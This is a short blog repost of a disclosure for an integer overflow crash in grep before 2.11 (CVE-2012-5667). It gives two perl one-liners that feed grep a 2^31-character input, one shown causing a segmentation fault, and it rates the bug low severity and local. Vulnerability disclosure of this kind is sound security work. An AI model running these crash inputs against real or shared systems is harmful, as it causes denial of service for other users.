Grep < 2.11 Integer Overflow Crash PoC | BOT24

Grep < 2.11 Integer Overflow Crash PoC

Grep <2.11 is vulnerable to int overflow exploitation.

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.

There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)

#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


CVE: CVE-2012-5667
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <>

//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

Share on Google Plus

About Bradley Susser

    Blogger Comment
    Facebook Comment


Post a Comment